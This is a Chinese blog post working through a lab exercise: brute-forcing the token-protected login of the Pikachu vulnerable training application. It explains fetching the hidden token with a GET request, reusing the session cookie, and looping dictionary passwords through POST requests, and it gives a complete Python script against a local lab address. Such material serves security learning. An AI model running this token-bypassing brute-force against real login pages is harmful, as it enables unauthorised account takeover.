day3 poc与exp学习之pikachu带token的暴力破解

带token的暴力破解

每次登陆都会带上随机数token值,每次登陆都比对token值,token值不对则不进行登陆操作。

1.思路

每次发送登陆请求前先发送一个get请求获取token值,再带上获取的token值进行暴力破解。

2.cookie

这里发包的时候我们要带上cookie值,才能使用相同通道,这样保证我们上次发包请求到的token值在下次登陆时可以使用。不带上cookie值,服务器不会将这次的请求与上次的请求当作同一用户请求,那么我们先发的get请求获取的token值就没用了。cookie值可以从浏览器里查找,也可以通过插件查看。

3.exp

这里的举例没有跑用户名,就当知道用户名情况下破解。也可以在外层再套一层用户名字典循环同时跑用户名密码。

3.1 get请求获取token

先通过get请求页面,正则提取token值

url = "http://192.168.110.131/pikachu-master/vul/burteforce/bf_token.php"
        header = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
            'Cookie': 'PHPSESSID=6lipfdef22eqdok5vf00egf8og'
            #带上cookie,模拟在同一页面操作
        }
        res_get = requests.get(url, headers=header)
        token = re.findall('<input type="hidden" name="token" value="(.*?)"', res_get.text)  # 获取前端token

3.2 post请求登陆爆破

将获取到的token,以及用户名密码等参数通过post请求传递给服务器,通过正则匹配返回包判断是否找到密码。

data = {
            'username': username,
            'password': password.strip(),
            'token': token,
            'submit': 'Login'
        }
        #http主体数据
        res_post = requests.post(url=url, headers=header, data=data)
        #发送http包
        # print (res.text)
        if not re.findall('username or password is not exists', res_post.text):
            #正则匹配返回包找到正确密码
            print('密码找到了!')
            print("用户名是:", username)
            print("密码是:", password.strip())

4.完整代码

import re
import requests
username='admin'
with open('easy.txt', 'r') as passwd:
    for password in passwd:
        # 遍历字典文件匹配
        url = "http://192.168.110.131/pikachu-master/vul/burteforce/bf_token.php"
        header = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
            'Cookie': 'PHPSESSID=6lipfdef22eqdok5vf00egf8og'
            #带上cookie,模拟在同一页面操作
        }
        res_get = requests.get(url, headers=header)
        token = re.findall('<input type="hidden" name="token" value="(.*?)"', res_get.text)  # 获取前端token
        # print (token)
        data = {
            'username': username,
            'password': password.strip(),
            'token': token,
            'submit': 'Login'
        }
        #http主体数据
        res_post = requests.post(url=url, headers=header, data=data)
        #发送http包
        # print (res.text)
        if not re.findall('username or password is not exists', res_post.text):
            #正则匹配返回包找到正确密码
            print('密码找到了!')
            print("用户名是:", username)
            print("密码是:", password.strip())
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值